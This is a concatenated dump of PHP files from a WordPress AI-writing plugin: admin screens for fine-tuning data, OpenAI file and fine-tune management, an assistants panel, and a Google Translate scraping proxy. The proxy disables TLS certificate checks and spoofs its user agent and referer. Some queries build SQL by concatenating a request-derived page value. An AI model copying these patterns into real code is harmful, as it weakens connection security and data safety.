'aiomatic-automatic-ai-content-writer');?></th> <td> <select id="model_selector_data_training" name="model" onchange="aiomatic_training_data_changed()"> <?php foreach(AIOMATIC_TRAINING_MODELS as $bm) { echo '<option value="' . $bm . '"'; if($bm == 'davinci-002') { echo ' selected'; } echo '>' . $bm . '</option>'; } ?> </select> </td> </tr> <tr> <th scope="row"><?php echo esc_html__("Custom Name", 'aiomatic-automatic-ai-content-writer');?></th> <td> <input type="text" name="custom" id="file-name-holder" placeholder="<?php echo esc_html__("File name", 'aiomatic-automatic-ai-content-writer');?>"> </td> </tr> </tbody> </table> <div class="aiomatic-convert-progress aiomatic-convert-bar"> <span></span> <small>0%</small> </div> <div class="aiomatic-upload-message"></div> <button class="button-primary button aiomatic_submit coderevolution_gutenberg_input"><?php echo esc_html__("Upload to OpenAI", 'aiomatic-automatic-ai-content-writer');?></button> </form> <form id="aiomatic_upload_convert" class="aiomatic_none" action="" method="post"> <input type="hidden" name="action" value="aiomatic_upload_convert"> <input type="hidden" name="nonce" value="<?php echo wp_create_nonce('openai-training-nonce');?>"> <input type="hidden" id="aiomatic_upload_convert_index" name="index" value="1"> <input id="aiomatic_upload_convert_line" type="hidden" name="line" value="0"> <input id="aiomatic_upload_convert_lines" type="hidden" value="0"> <input type="hidden" name="file" value=""> <input type="hidden" name="purpose" value="fine-tune"> <input type="hidden" name="model" value=""> <input type="hidden" name="custom" value=""> </form> </div> <div id="tab-4" class="tab-content"> <br/> <?php global $wpdb; $aiomatic_files_page1 = isset($_GET['wpage']) && !empty($_GET['wpage']) ? sanitize_text_field($_GET['wpage']) : 1; $aiomatic_files_per_page = 20; $aiomatic_files_offset = ( $aiomatic_files_page1 * $aiomatic_files_per_page ) - $aiomatic_files_per_page; $aiomatic_files_count_sql = "SELECT COUNT(*) FROM ".$wpdb->posts." f WHERE f.post_type='aiomatic_convert' AND f.post_status='publish'"; $aiomatic_files_sql = "SELECT f.* FROM ".$wpdb->posts." f WHERE f.post_type='aiomatic_convert' AND f.post_status='publish' ORDER BY f.post_date DESC LIMIT ".$aiomatic_files_offset.",".$aiomatic_files_per_page; $aiomatic_files = $wpdb->get_results($aiomatic_files_sql); $aiomatic_files_total = $wpdb->get_var( $aiomatic_files_count_sql ); ?> <h1 class="wp-heading-inline"><?php echo esc_html__("Data Converter", 'aiomatic-automatic-ai-content-writer');?></h1> <form id="aiomatic_data_converter" method="post" action=""> <input type="hidden" name="action" value="aiomatic_data_converter_count"> <input type="hidden" name="nonce" value="<?php echo wp_create_nonce('openai-training-nonce');?>"> <table class="form-table"> <tbody> <tr> <th scope="row"><?php echo esc_html__("Select Data", 'aiomatic-automatic-ai-content-writer');?></th> <td> <label><input id="aiomatic_posts" class="aiomatic_converter_data" checked type="checkbox" name="data[]" value="post"> <?php echo esc_html__("Posts", 'aiomatic-automatic-ai-content-writer');?></label>      <label><input id="aiomatic_pages" class="aiomatic_converter_data" type="checkbox" name="data[]" value="page"> <?php echo esc_html__("Pages", 'aiomatic-automatic-ai-content-writer');?></label> <?php if(in_array('product',get_post_types()) && class_exists( 'woocommerce' )): ?>      <label><input class="aiomatic_converter_data" id="aiomatic_products" type="checkbox" name="data[]" value="product"> <?php echo esc_html__("Products", 'aiomatic-automatic-ai-content-writer');?></label> <?php endif; ?> </td> </tr> <tr> <th scope="row"><?php echo esc_html__("Post Category to Process", 'aiomatic-automatic-ai-content-writer');?></th> <td> <select id="category" name="category" class="cr_width_full"> <option value="" disabled selected><?php echo esc_html__("Select a Category (Optional)", 'aiomatic-automatic-ai-content-writer');?></option> <?php $cat_args = array( 'orderby' => 'name', 'hide_empty' => 0, 'order' => 'ASC' ); $categories = get_categories($cat_args); foreach ($categories as $category) { ?> <option value="<?php echo esc_html($category->term_id); ?>"><?php echo sanitize_text_field($category->name) . ' - ID ' . $category->term_id; ?></option> <?php } ?> </select> </td> </tr> <tr> <th scope="row"><?php echo esc_html__("Import Content or Excerpt", 'aiomatic-automatic-ai-content-writer');?></th> <td> <input type="radio" id="post_excerpt" name="content_excerpt" value="post_excerpt" checked> <label for="post_excerpt"><?php echo esc_html__("Excerpt", 'aiomatic-automatic-ai-content-writer');?></label> <input type="radio" id="post_content" name="content_excerpt" value="post_content"> <label for="post_content"><?php echo esc_html__("Content", 'aiomatic-automatic-ai-content-writer');?></label><br> </td> </tr> <tr> <th></th> <td> <div class="aiomatic-convert-progress aiomatic-convert-bar coderevolution_gutenberg_input"> <span></span> <small>0%</small> </div> <button class="button-primary button aiomatic_converter_button"><?php echo esc_html__("Convert", 'aiomatic-automatic-ai-content-writer');?></button> </td> </tr> </tbody> </table> </form> <h1 class="wp-heading-inline"><?php echo esc_html__("Completed Conversions", 'aiomatic-automatic-ai-content-writer');?></h1> <table class="wp-list-table widefat fixed striped table-view-list comments"> <thead> <tr> <th><?php echo esc_html__("Filename", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Started", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Completed", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Size", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Action", 'aiomatic-automatic-ai-content-writer');?></th> </tr> </thead> <tbody> <?php if($aiomatic_files && is_array($aiomatic_files) && count($aiomatic_files)) { global $wp_filesystem; if ( ! is_a( $wp_filesystem, 'WP_Filesystem_Base') ){ include_once(ABSPATH . 'wp-admin/includes/file.php');$creds = request_filesystem_credentials( site_url() ); wp_filesystem($creds); } foreach($aiomatic_files as $aiomatic_file) { $file = wp_upload_dir()['basedir'].'/'.$aiomatic_file->post_title; if($wp_filesystem->exists($file)) { ?> <tr> <td><?php echo esc_html($aiomatic_file->post_title);?></td> <td><?php echo date('d.m.Y H:i',strtotime($aiomatic_file->post_date));?></td> <td><?php echo date('d.m.Y H:i',strtotime($aiomatic_file->post_modified));?></td> <td><?php echo size_format(filesize($file));?></td> <td> <a class="button button-small" href="<?php echo wp_upload_dir()['baseurl'].'/'.esc_html($aiomatic_file->post_title)?>" download>Download</a> <button class="button button-small aiomatic_convert_upload" data-lines="<?php echo esc_html(count(file($file)))?>" data-file="<?php echo esc_html($aiomatic_file->post_title)?>">Upload</button> <button class="button button-small aiomatic_delete_upload" data-lines="<?php echo esc_html(count(file($file)))?>" data-file="<?php echo esc_html($aiomatic_file->post_title)?>">Delete</button> </td> </tr> <?php } } } ?> </tbody> </table> <div class="aiomatic-paginate mb-5"> <?php echo paginate_links( array( 'base' => admin_url('admin.php?page=aiomatic_openai_training&wpage=%#%'), 'total' => ceil($aiomatic_files_total / $aiomatic_files_per_page), 'current' => $aiomatic_files_page1, 'format' => '?wpaged=%#%', 'show_all' => false, 'prev_next' => false, 'add_args' => false, )); ?> </div> </div> <div id="tab-5" class="tab-content"> <br/> <?php $aiomatic_files_page2 = isset($_GET['wpage']) && !empty($_GET['wpage']) ? sanitize_text_field($_GET['wpage']) : 1; $aiomatic_files_per_page = 20; $aiomatic_files_offset = ( $aiomatic_files_page2 * $aiomatic_files_per_page ) - $aiomatic_files_per_page; $aiomatic_files_count_sql = "SELECT COUNT(*) FROM ".$wpdb->posts." f WHERE f.post_type='aiomatic_file' AND (f.post_status='publish' OR f.post_status = 'future')"; $aiomatic_files_sql = "SELECT f.* ,(SELECT fn.meta_value FROM ".$wpdb->postmeta." fn WHERE fn.post_id=f.ID AND fn.meta_key='aiomatic_filename') as filename ,(SELECT fp.meta_value FROM ".$wpdb->postmeta." fp WHERE fp.post_id=f.ID AND fp.meta_key='aiomatic_purpose') as purpose ,(SELECT fm.meta_value FROM ".$wpdb->postmeta." fm WHERE fm.post_id=f.ID AND fm.meta_key='aiomatic_model') as model ,(SELECT fc.meta_value FROM ".$wpdb->postmeta." fc WHERE fc.post_id=f.ID AND fc.meta_key='aiomatic_custom_name') as custom_name ,(SELECT fs.meta_value FROM ".$wpdb->postmeta." fs WHERE fs.post_id=f.ID AND fs.meta_key='aiomatic_file_size') as file_size ,(SELECT ft.meta_value FROM ".$wpdb->postmeta." ft WHERE ft.post_id=f.ID AND ft.meta_key='aiomatic_fine_tune') as finetune FROM ".$wpdb->posts." f WHERE f.post_type='aiomatic_file' AND (f.post_status='publish' OR f.post_status = 'future') ORDER BY f.post_date DESC LIMIT ".$aiomatic_files_offset.",".$aiomatic_files_per_page; $aiomatic_files = $wpdb->get_results($aiomatic_files_sql); $aiomatic_files_total = $wpdb->get_var( $aiomatic_files_count_sql ); ?> <h1 class="wp-heading-inline">Files</h1> <button href="javascript:void(0)" id="aiomatic_sync_files" class="page-title-action aiomatic_sync_files"><?php echo esc_html__("Sync Files", 'aiomatic-automatic-ai-content-writer');?></button>  <a href="https://platform.openai.com/storage" target="_blank" id="aiomatic_view_storage" class="page-title-action aiomatic_view_storage"><?php echo esc_html__("View Files On OpenAI", 'aiomatic-automatic-ai-content-writer');?></a><br><br> <?php if($aiomatic_files_total > 0){ echo esc_html__('All files', 'aiomatic-automatic-ai-content-writer') . ' (' . $aiomatic_files_total . ')<br>'; } ?> <table class="wp-list-table widefat fixed striped table-view-list comments"> <thead> <tr> <th><?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?></th> <th class="width50p"><?php echo esc_html__("Size", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Model", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Created At", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Filename", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Purpose", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Action", 'aiomatic-automatic-ai-content-writer');?></th> </tr> </thead> <tbody> <?php if($aiomatic_files && is_array($aiomatic_files) && count($aiomatic_files)): foreach($aiomatic_files as $aiomatic_file): if(!isset($fileTypes[$aiomatic_file->purpose])) { continue; } ?> <tr> <td><?php echo esc_html($aiomatic_file->post_title)?></td> <td><?php echo esc_html(size_format($aiomatic_file->file_size))?></td> <td><?php echo esc_html($aiomatic_file->model)?></td> <td><?php echo esc_html($aiomatic_file->post_date)?></td> <td><?php echo esc_html($aiomatic_file->filename)?></td> <td><?php if(isset($fileTypes[$aiomatic_file->purpose])) { echo !empty($aiomatic_file->purpose) ? esc_html($fileTypes[$aiomatic_file->purpose]) : 'Fine-Tune'; }?></td> <td> <?php //if(empty($aiomatic_file->finetune) && $aiomatic_file->purpose == 'fine-tune'): ?> <button data-id="<?php echo esc_html($aiomatic_file->ID);?>" class="button button-small aiomatic_create_fine_tune"><?php echo esc_html__("Create Fine-Tune", 'aiomatic-automatic-ai-content-writer');?></button> <?php //endif; ?> <button data-id="<?php echo esc_html($aiomatic_file->ID);?>" class="button button-small aiomatic_retrieve_content"><?php echo esc_html__("Retrieve Content", 'aiomatic-automatic-ai-content-writer');?></button> <button data-id="<?php echo esc_html($aiomatic_file->ID);?>" class="button button-small button-link-delete aiomatic_delete_file"><?php echo esc_html__("Delete", 'aiomatic-automatic-ai-content-writer');?></button> </td> </tr> <?php endforeach; endif; ?> </tbody> </table> <div class="aiomatic-paginate mb-5"> <?php echo paginate_links( array( 'base' => admin_url('admin.php?page=aiomatic_openai_training&wpage=%#%'), 'total' => ceil($aiomatic_files_total / $aiomatic_files_per_page), 'current' => $aiomatic_files_page2, 'format' => '?wpaged=%#%', 'show_all' => false, 'prev_next' => false, 'add_args' => false, )); ?> </div> </div> <div id="tab-6" class="tab-content"> <br/> <?php $aiomatic_files_page3 = isset($_GET['wpage']) && !empty($_GET['wpage']) ? sanitize_text_field($_GET['wpage']) : 1; $aiomatic_files_per_page = 10; $aiomatic_files_offset = ( $aiomatic_files_page3 * $aiomatic_files_per_page ) - $aiomatic_files_per_page; $aiomatic_files_count_sql = "SELECT COUNT(*) FROM ".$wpdb->posts." f WHERE f.post_type='aiomatic_finetune' AND (f.post_status='publish' OR f.post_status = 'future')"; $aiomatic_files_sql = "SELECT f.* ,(SELECT fn.meta_value FROM ".$wpdb->postmeta." fn WHERE fn.post_id=f.ID AND fn.meta_key='aiomatic_model' LIMIT 1) as model ,(SELECT fp.meta_value FROM ".$wpdb->postmeta." fp WHERE fp.post_id=f.ID AND fp.meta_key='aiomatic_updated_at' LIMIT 1) as updated_at ,(SELECT fm.meta_value FROM ".$wpdb->postmeta." fm WHERE fm.post_id=f.ID AND fm.meta_key='aiomatic_name' LIMIT 1) as ft_model ,(SELECT fc.meta_value FROM ".$wpdb->postmeta." fc WHERE fc.post_id=f.ID AND fc.meta_key='aiomatic_org' LIMIT 1) as org_id ,(SELECT fs.meta_value FROM ".$wpdb->postmeta." fs WHERE fs.post_id=f.ID AND fs.meta_key='aiomatic_status' LIMIT 1) as ft_status ,(SELECT ft.meta_value FROM ".$wpdb->postmeta." ft WHERE ft.post_id=f.ID AND ft.meta_key='aiomatic_fine_tune' LIMIT 1) as finetune ,(SELECT fd.meta_value FROM ".$wpdb->postmeta." fd WHERE fd.post_id=f.ID AND fd.meta_key='aiomatic_deleted' LIMIT 1) as deleted FROM ".$wpdb->posts." f WHERE f.post_type='aiomatic_finetune' AND (f.post_status='publish' OR f.post_status = 'future') ORDER BY f.post_date DESC LIMIT ".$aiomatic_files_offset.",".$aiomatic_files_per_page; $aiomatic_files = $wpdb->get_results($aiomatic_files_sql); $aiomatic_files_total = $wpdb->get_var( $aiomatic_files_count_sql ); ?> <h1 class="wp-heading-inline"><?php echo esc_html__("Fine-tunes", 'aiomatic-automatic-ai-content-writer');?></h1> <button href="javascript:void(0)" id="aiomatic_sync_finetunes" class="page-title-action aiomatic_sync_finetunes"><?php echo esc_html__("Sync Fine-tunes", 'aiomatic-automatic-ai-content-writer');?></button>  <a href="https://platform.openai.com/finetune" target="_blank" id="aiomatic_view_finetunes" class="page-title-action aiomatic_view_finetunes"><?php echo esc_html__("View Fine-tunes On OpenAI", 'aiomatic-automatic-ai-content-writer');?></a><br><br> <?php if($aiomatic_files_total > 0){ echo esc_html__('All fine-tunes', 'aiomatic-automatic-ai-content-writer') . ' (' . $aiomatic_files_total . ')<br>'; } ?> <table class="wp-list-table widefat fixed striped table-view-list comments"> <thead> <tr> <th><?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Object", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Model", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Created At", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Fine-tune Model", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Organization ID", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Status", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Updated", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Training", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Action", 'aiomatic-automatic-ai-content-writer');?></th> </tr> </thead> <tbody> <?php if($aiomatic_files && is_array($aiomatic_files) && count($aiomatic_files)): foreach($aiomatic_files as $aiomatic_file): ?> <tr> <td><?php echo esc_html($aiomatic_file->post_title);?></td> <td>fine-tune</td> <td><?php echo esc_html($aiomatic_file->model);?></td> <td><?php echo esc_html($aiomatic_file->post_date);?></td> <td><?php echo esc_html($aiomatic_file->ft_model);?></td> <td><?php echo esc_html($aiomatic_file->org_id);?></td> <td class="aiomatic-finetune-<?php echo !$aiomatic_file->deleted ? esc_html($aiomatic_file->ft_status) : 'deleted';?>"><?php echo !$aiomatic_file->deleted ? esc_html($aiomatic_file->ft_status) : 'Deleted';if($aiomatic_file->ft_status == 'succeeded'){echo '<div class="tool" data-tip="This model will be available for use in the plugin, as a custom model!"> ⍰</div>';}?></td> <td><?php echo esc_html($aiomatic_file->updated_at);?></td> <td> <a class="aiomatic_get_other button button-small" data-id="<?php echo esc_html($aiomatic_file->ID);?>" data-type="events" href="javascript:void(0)"><?php echo esc_html__("Events", 'aiomatic-automatic-ai-content-writer');?></a><br> <a class="aiomatic_get_other button button-small mb-5" data-id="<?php echo esc_html($aiomatic_file->ID);?>" data-type="hyperparameters" href="javascript:void(0)"><?php echo esc_html__("Hyper-params", 'aiomatic-automatic-ai-content-writer');?></a><br> <a class="aiomatic_get_other button button-small mb-5" data-id="<?php echo esc_html($aiomatic_file->ID);?>" data-type="result_files" href="javascript:void(0)"><?php echo esc_html__("Result files", 'aiomatic-automatic-ai-content-writer');?></a><br> <a class="aiomatic_get_other button button-small mb-5" data-id="<?php echo esc_html($aiomatic_file->ID);?>" data-type="training_file" href="javascript:void(0)"><?php echo esc_html__("Training-files", 'aiomatic-automatic-ai-content-writer');?></a><br> </td> <td> <?php if(!$aiomatic_file->deleted): if($aiomatic_file->ft_status == 'pending'): ?> <a class="aiomatic_cancel_finetune button button-small button-link-delete" data-id="<?php echo esc_html($aiomatic_file->ID);?>" href="javascript:void(0)"><?php echo esc_html__("Cancel", 'aiomatic-automatic-ai-content-writer');?></a><br> <?php endif; if(!empty($aiomatic_file->ft_model)): ?> <a class="aiomatic_delete_finetune button button-small button-link-delete" data-id="<?php echo esc_html($aiomatic_file->ID);?>" href="javascript:void(0)"><?php echo esc_html__("Delete", 'aiomatic-automatic-ai-content-writer');?></a><br> <?php endif; endif; ?> </td> </tr> <?php endforeach; endif; ?> </tbody> </table> <div class="aiomatic-paginate mb-5"> <?php echo paginate_links( array( 'base' => admin_url('admin.php?page=aiomatic_openai_training&wpage=%#%'), 'total' => ceil($aiomatic_files_total / $aiomatic_files_per_page), 'current' => $aiomatic_files_page3, 'format' => '?wpaged=%#%', 'show_all' => false, 'prev_next' => false, 'add_args' => false, )); ?> </div> </div> </div> </div> <?php } ?>��������������������res/GoogleTranslateProxy.php������������������������������������������������������������������������0000644�����������������00000003203�14757771437�0012226 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php class AIGoogleTranslateProxy { public $ch; function __construct(&$ch) { $this->ch = $ch; } function fetch($url) { $url = "https://translate.google.com/translate?hl=en&ie=UTF8&prev=_t&sl=ar&tl=en&u=" . urlencode($url); $headers = array (); curl_setopt ( $this->ch, CURLOPT_HTTPHEADER, $headers ); curl_setopt ( $this->ch, CURLOPT_RETURNTRANSFER, 1 ); curl_setopt ( $this->ch, CURLOPT_CONNECTTIMEOUT, 10 ); curl_setopt ( $this->ch, CURLOPT_TIMEOUT, 300 ); curl_setopt ( $this->ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36' ); curl_setopt ( $this->ch, CURLOPT_MAXREDIRS, 20 ); curl_setopt ( $this->ch, CURLOPT_FOLLOWLOCATION, 1 ); $cjname = 'cookie.jar'; curl_setopt ( $this->ch, CURLOPT_COOKIEJAR, str_replace ( 'GoogleTranslateProxy.php', $cjname, __FILE__ ) ); curl_setopt ( $this->ch, CURLOPT_COOKIEJAR, $cjname ); curl_setopt ( $this->ch, CURLOPT_SSL_VERIFYPEER, false ); curl_setopt ( $this->ch, CURLOPT_HTTPGET, 1 ); curl_setopt ( $this->ch, CURLOPT_REFERER, 'http://ezinearticles.com' ); curl_setopt ( $this->ch, CURLOPT_SSL_VERIFYHOST, false ); curl_setopt ( $this->ch, CURLOPT_URL, trim($url) ); $exec = curl_exec($this->ch); if(trim($exec) == '') { $er = curl_error($this->ch); throw new Exception('Empty response returned: ' . $er); } $exec = preg_replace('{<span class="google-src-text.*?>.*?</span>}', "", $exec); $exec = preg_replace('{<span class="notranslate.*?>(.*?)</span>}', "$1", $exec); $exec = str_replace(' style=";text-align:left;direction:ltr"', '', $exec); return $exec; } }���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������res/aiomatic-assistants.php�������������������������������������������������������������������������0000644�����������������00000166262�14757771437�0012071 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php if ( ! defined( 'ABSPATH' ) ) exit; function aiomatic_assistants_panel() { if(!function_exists('is_plugin_active')) { include_once( ABSPATH . 'wp-admin/includes/plugin.php' ); } $fbomatic_active = false; if (is_plugin_active('fbomatic-facebook-post-generator/fbomatic-facebook-post-generator.php')) { $fbomatic_active = true; } $twitomatic_active = false; if (is_plugin_active('twitomatic-twitter-post-generator/twitomatic-twitter-post-generator.php')) { $twitomatic_active = true; } $instamatic_active = false; if (is_plugin_active('instamatic-instagram-post-generator/instamatic-instagram-post-generator.php')) { $instamatic_active = true; } $pinterestomatic_active = false; if (is_plugin_active('pinterestomatic-pinterest-post-generator/pinterestomatic-pinterest-post-generator.php')) { $pinterestomatic_active = true; } $businessomatic_active = false; if (is_plugin_active('businessomatic-google-my-business-post-generator/businessomatic-google-my-business-post-generator.php')) { $businessomatic_active = true; } $youtubomatic_active = false; if (is_plugin_active('youtubomatic-youtube-post-generator/youtubomatic-youtube-post-generator.php')) { $youtubomatic_active = true; } $redditomatic_active = false; if (is_plugin_active('redditomatic-reddit-post-generator/redditomatic-reddit-post-generator.php')) { $redditomatic_active = true; } $linkedinomatic_active = false; if (is_plugin_active('linkedinomatic-linkedin-post-generator/linkedinomatic-linkedin-post-generator.php')) { $linkedinomatic_active = true; } $aiomatic_Main_Settings = get_option('aiomatic_Main_Settings', false); if (!isset($aiomatic_Main_Settings['app_id']) || trim($aiomatic_Main_Settings['app_id']) == '') { ?> <h1><?php echo esc_html__("You must add an OpenAI API Key into the plugin's 'Settings' menu before you can use this feature!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } if (aiomatic_check_if_azure_or_others($aiomatic_Main_Settings)) { ?> <h1><?php echo esc_html__("This feature is currently not supported when using Azure/Claude API!", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } $appids = preg_split('/\r\n|\r|\n/', trim($aiomatic_Main_Settings['app_id'])); $appids = array_filter($appids); if(count($appids) > 1) { ?> <h1><?php echo esc_html__("This feature is currently supported only if you enter a single OpenAI API key in the plugin's 'Settings' menu.", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } if(count($appids) == 0) { ?> <h1><?php echo esc_html__("You need to add an API key in plugin settings for this to work.", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } $token = $appids[array_rand($appids)]; if(aiomatic_is_aiomaticapi_key($token)) { ?> <h1><?php echo esc_html__("This feature is currently supported only for OpenAI API keys.", 'aiomatic-automatic-ai-content-writer');?></h1> <?php return; } ?> <div class="wp-header-end"></div> <div class="wrap gs_popuptype_holder seo_pops"> <h2 class="cr_center"><?php echo esc_html__("AI Assistants", 'aiomatic-automatic-ai-content-writer');?></h2> <div class="wrap"> <nav class="nav-tab-wrapper"> <a href="#tab-1" class="nav-tab"><?php echo esc_html__("Tutorial", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-6" class="nav-tab"><?php echo esc_html__("Manage Assistants", 'aiomatic-automatic-ai-content-writer');?></a> <a href="#tab-2" class="nav-tab"><?php echo esc_html__("Manage Assistant Files", 'aiomatic-automatic-ai-content-writer');?></a> </nav> <div id="tab-1" class="tab-content"> <br/> <h3><?php echo esc_html__("What are AI Assistants?", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__('The Assistants API (or AI GPTs) is a cool feature that lets you create AI helpers in your applications, like your WordPress site. These assistants can do a bunch of stuff like run code, find information, and even call functions to get things done. Right now, it works with a few handy tools, and there\'s more coming soon.', 'aiomatic-automatic-ai-content-writer');?></p> <h3><?php echo esc_html__("To add an Assistants to your WordPress site, you'll follow steps like these:", 'aiomatic-automatic-ai-content-writer');?></h3> <h4><?php echo esc_html__("Step 1a: Set Up Your Assistant", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("Go to the 'Manage Assistants' tab and click the 'Add New Assistant' button. Fill out an intuitive name for the assistant, select an AI model, add a description and in the 'Assistant Context Prompt' settings field, be sure to add any information that the Assistant should be aware of. Here you can teach it about its name, role and purpose. You can also enable advanced features like 'Code Interpreter' and 'File Search', add your own functions or even upload files for the assistant to process and to extract content from them. Finally, you can assign also an avatar for the Assistant, which will be used for the chatbot, when this assistant is used.", 'aiomatic-automatic-ai-content-writer');?></p> <h4><?php echo esc_html__("Step 1b: Set Up Your Assistant", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("If you already have assistants created on OpenAI's platform, you can import these assistants, using the 'Import Assistants From OpenAI' button. All create assistants will appear in the plugin and will be able to be used.", 'aiomatic-automatic-ai-content-writer');?></p> <h4><?php echo esc_html__("Step 2: Select The Assistants To Be Used In Plugin Settings", 'aiomatic-automatic-ai-content-writer');?></h3> <p><?php echo esc_html__("The bulk of the work is done, now you can go to the part of the plugin where you want to use assistants and select the assistant instead of the AI model (usually, you will find an 'AI Assistant Name' settings field, where you will be able to select the imported assistants.", 'aiomatic-automatic-ai-content-writer');?></p> <p><?php echo esc_html__("That's it! You've successfully set up an AI-powered Assistant on your WordPress website using the Aiomatic plugin. This Assistant can be a valuable tool for engaging with your website visitors, answering frequently asked questions, and providing personalized assistance, or even create content for your site which is highly focused on your specific needs.", 'aiomatic-automatic-ai-content-writer');?></p> <h3><?php echo esc_html__("AI Assistants Tutorial Video", 'aiomatic-automatic-ai-content-writer');?></h3> <p class="cr_center"><div class="embedtool"><iframe src="https://www.youtube.com/embed/x2mkjdOZI9Y" frameborder="0" allowfullscreen></iframe></div></p> </div> <div id="tab-2" class="tab-content"> <br/> <?php $aiomaticMaxFileSize = wp_max_upload_size(); ?> <hr/> <h3 class="margin5"><?php echo esc_html__("Upload A New Assistant File", 'aiomatic-automatic-ai-content-writer');?></h3> <div class="aiomatic_form_upload_file"> <table class="form-table"> <tbody> <tr> <th scope="row"><?php echo esc_html__("Select A File To Upload", 'aiomatic-automatic-ai-content-writer');?></th> <td> <input type="file" id="aiomatic_assistant_file_upload"> </td> </tr> <tr> <td colspan="2"> <div class="aiomatic_upload_success aiomatic_none margin5 colorgr"><?php echo esc_html__("File uploaded successfully!", 'aiomatic-automatic-ai-content-writer');?></div> <div class="aiomatic_progress aiomatic_none"><span></span><small><?php echo esc_html__("Uploading", 'aiomatic-automatic-ai-content-writer');?></small></div> <div class="aiomatic-error-msg"></div> </td> </tr> <tr> <td colspan="2"> <button class="button button-primary coderevolution_block_input" id="aiomatic_file_button"><?php echo esc_html__("Upload to OpenAI", 'aiomatic-automatic-ai-content-writer');?></button><br> <p class="cr_center"><?php echo esc_html__("Maximum upload file size:", 'aiomatic-automatic-ai-content-writer');?> <?php echo size_format($aiomaticMaxFileSize)?> <?php if(wp_max_upload_size() < 104857600){ ?> <?php echo esc_html__("(Please increase this value if you want to upload larger files)", 'aiomatic-automatic-ai-content-writer');?> <?php } ?></p> </td> </tr> </tbody> </table> </div> <hr/> <h3 class="margin5"><?php echo esc_html__("Manage Uploaded Assistant Files", 'aiomatic-automatic-ai-content-writer');?></h3> <br/><br/> <button href="javascript:void(0)" id="aiomatic_sync_assistant_files" class="page-title-action aiomatic_sync_assistant_files"><?php echo esc_html__("Sync Files", 'aiomatic-automatic-ai-content-writer');?></button>  <a href="https://platform.openai.com/storage" target="_blank" id="aiomatic_view_storage" class="page-title-action aiomatic_view_storage"><?php echo esc_html__("View Files On OpenAI", 'aiomatic-automatic-ai-content-writer');?></a> <table class="wp-list-table widefat fixed striped table-view-list comments" id="aiomatic-assistants-files"> <thead> <tr> <th><?php echo esc_html__("ID", 'aiomatic-automatic-ai-content-writer');?></th> <th class="width50p"><?php echo esc_html__("Size", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Purpose", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Created At", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Filename", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Status", 'aiomatic-automatic-ai-content-writer');?></th> <th><?php echo esc_html__("Action", 'aiomatic-automatic-ai-content-writer');?></th> </tr> </thead> <tbody> </tbody> </table> </div> <div id="tab-6" class="tab-content"> <h2><?php echo esc_html__("Manage Assistants:", 'aiomatic-automatic-ai-content-writer');?></h2> <br/> <button href="#" id="aiomatic_sync_assistants" class="page-title-action"><?php echo esc_html__("Import Assistants From OpenAI", 'aiomatic-automatic-ai-content-writer'); ?></button> <button id="aiomatic_manage_assistants" class="page-title-action"><?php echo esc_html__("Add New Assistant", 'aiomatic-automatic-ai-content-writer'); ?></button> <button id="aiomatic_backup_assistants" class="page-title-action"><?php echo esc_html__("Backup/Restore Assistants", 'aiomatic-automatic-ai-content-writer'); ?></button> <a href="https://platform.openai.com/assistants" target="_blank" class="page-title-action"><?php echo esc_html__("Check On OpenAI", 'aiomatic-automatic-ai-content-writer'); ?></a> <button href="#" id="aiomatic_delete_selected_assistants" class="page-title-action"><?php echo esc_html__("Delete Selected Assistants", 'aiomatic-automatic-ai-content-writer'); ?></button> <?php $orderby = 'date'; $order = 'DESC'; if (isset($_GET['order']) && in_array(strtolower($_GET['order']), ['asc', 'desc'])) { $order = strtoupper($_GET['order']); } if (isset($_GET['orderby']) && in_array(strtolower($_GET['orderby']), ['title', 'date'])) { $orderby = strtolower($_GET['orderby']); } $aiomatic_assistant_page = isset($_GET['wpage']) && !empty($_GET['wpage']) ? sanitize_text_field($_GET['wpage']) : 1; $aiomatic_assistants = new WP_Query(array( 'post_type' => 'aiomatic_assistants', 'posts_per_page' => 40, 'paged' => $aiomatic_assistant_page, 'order' => $order, 'orderby' => $orderby, 